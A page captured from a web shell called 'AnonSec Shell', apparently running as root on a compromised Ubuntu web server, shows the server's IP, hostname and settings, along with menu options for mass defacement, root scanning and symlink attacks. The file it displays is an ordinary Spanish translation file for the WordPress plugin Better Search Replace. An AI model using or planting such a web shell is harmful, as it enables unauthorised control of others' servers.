AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1534260/cwd/plugins/better-search-replace/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1534260/cwd/plugins/better-search-replace/languages/better-search-replace-es_ES.po
# Copyright (C) 2014
# This file is distributed under the same license as the plugin package.
msgid ""
msgstr ""
"Project-Id-Version: Better Search Replace en español\n"
"Report-Msgid-Bugs-To: http://wordpress.org/plugins/better-search-replace\n"
"POT-Creation-Date: 2015-01-09 12:49+0100\n"
"PO-Revision-Date: 2015-01-09 12:59+0100\n"
"Last-Translator: Eduardo Larequi <elarequi@gmail.com>\n"
"Language-Team: PNTE <blogs@educacion.navarra.es>\n"
"Language: es\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
"X-Generator: Poedit 1.6.3\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;"
"_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2;_ex:1,2c;"
"esc_attr__;esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-SearchPath-0: .\n"

#: includes/class-better-search-replace-admin.php:141
msgid ""
"No search string was defined, please enter a URL or string to search for."
msgstr ""
"No se ha definido ninguna cadena de búsqueda; por favor, escribe una URL o "
"cadena que buscar."

#: includes/class-better-search-replace-admin.php:144
msgid "Please select the tables that you want to update."
msgstr "Por favor, selecciona las tablas que quieres actualizar."

#: includes/class-better-search-replace-admin.php:153
#, php-format
msgid ""
"<p><strong>DRY RUN:</strong> <strong>%d</strong> tables were searched, "
"<strong>%d</strong> cells were found that need to be updated, and <strong>"
"%d</strong> changes were made.</p><p><a href=\"%s\" class=\"thickbox\" title="
"\"Dry Run Details\">Click here</a> for more details, or click the submit "
"button below to run the search/replace.</p>"
msgstr ""
"<p><strong>EJECUCIÓN EN SECO:</strong> se hn realizado búsquedas en <strong>"
"%d</strong> tablas, se han encontrado <strong>%d</strong> celdas que deben "
"ser actualizadas, y se han realizado <strong>%d</strong> cambios.</p><p><a "
"href=\"%s\" class=\"thickbox\" title=\"Detalles de la ejecución en seco"
"\">Haz clic aquí</a> para ver más detalles, o haz clic en el botón \"Enviar"
"\" que tienes a continuación para ejecutar la búsqueda y sustitución.</p>"

#: includes/class-better-search-replace-admin.php:160
#, php-format
msgid ""
"<p>During the search/replace, <strong>%d</strong> tables were searched, with "
"<strong>%d</strong> cells changed in <strong>%d</strong> updates.</p><p><a "
"href=\"%s\" class=\"thickbox\" title=\"Search/Replace Details\">Click here</"
"a> for more details.</p>"
msgstr ""
"<p>Durante la búsqueda y sustitución, se han realizado búsquedas en <strong>"
"%d</strong> tablas, y se han modificado <strong>%d</strong> celdas en "
"<strong>%d</strong> actualizaciones.</p><p><a href=\"%s\" class=\"thickbox\" "
"title=\"Detalles sobre la búsqueda y sustitución\">Haz clic aquí</a> para "
"ver más detalles.</p>"

#: templates/bsr-dashboard.php:17
msgid "Better Search Replace"
msgstr "Better Search Replace"

#: templates/bsr-dashboard.php:19
msgid ""
"This tool allows you to search and replace text in your database (supports "
"serialized arrays and objects)."
msgstr ""
"Esta herramienta permite buscar y sustituir texto en la base de datos; "
"soporta matrices y objetos serializados."

#: templates/bsr-dashboard.php:20
msgid ""
"To get started, use the form below to enter the text to be replaced and "
"select the tables to update."
msgstr ""
"Para comenzar, utiliza el formulario que tienes a continuación para escribir "
"el texto que será sustituido y selecciona las tablas que se actualizarán."

#: templates/bsr-dashboard.php:21
msgid ""
"<strong>WARNING:</strong> Make sure you backup your database before using "
"this plugin!"
msgstr ""
"<strong>ATENCIÓN:</strong> asegúrate de hacer una copia de seguridad de tu "
"base de datos antes de utilizar este plugin."

#: templates/bsr-dashboard.php:28
msgid "Search for"
msgstr "Buscar"

#: templates/bsr-dashboard.php:33
msgid "Replace with"
msgstr "Sustituir con"

#: templates/bsr-dashboard.php:38
msgid "Select tables"
msgstr "Seleccionar tablas"

#: templates/bsr-dashboard.php:41
msgid ""
"Select multiple tables with Ctrl-Click for Windows or Cmd-Click for Mac."
msgstr ""
"Selecciona múltiples tablas con Ctrl+Clic (en Windows) o Cmd+Clic (en Mac)."

#: templates/bsr-dashboard.php:46
msgid ""
"Replace GUIDs<a href=\"http://codex.wordpress.org/"
"Changing_The_Site_URL#Important_GUID_Note\" target=\"_blank\">?</a>"
msgstr ""
"¿<a href=\"http://codex.wordpress.org/"
"Changing_The_Site_URL#Important_GUID_Note\" target=\"_blank\">Quieres "
"sustituir los GUIDs ?</a>"

#: templates/bsr-dashboard.php:49
msgid "If left unchecked, all database columns titled 'guid' will be skipped."
msgstr ""
"Si no activas esta opción, se omitirán todas las columnas de las bases de "
"datos tituladas 'guid'."

#: templates/bsr-dashboard.php:54
msgid "Run as dry run?"
msgstr "¿Quieres ejecutar \"en seco\"?"

#: templates/bsr-dashboard.php:57
msgid ""
"If checked, no changes will be made to the database, allowing you to check "
"the results beforehand."
msgstr ""
"Si activas esta opción, no se realizará ningún cambio en la base de datos, "
"lo cual te permite verificar los resultados de antemano."

Anon7 - 2022
AnonSec Team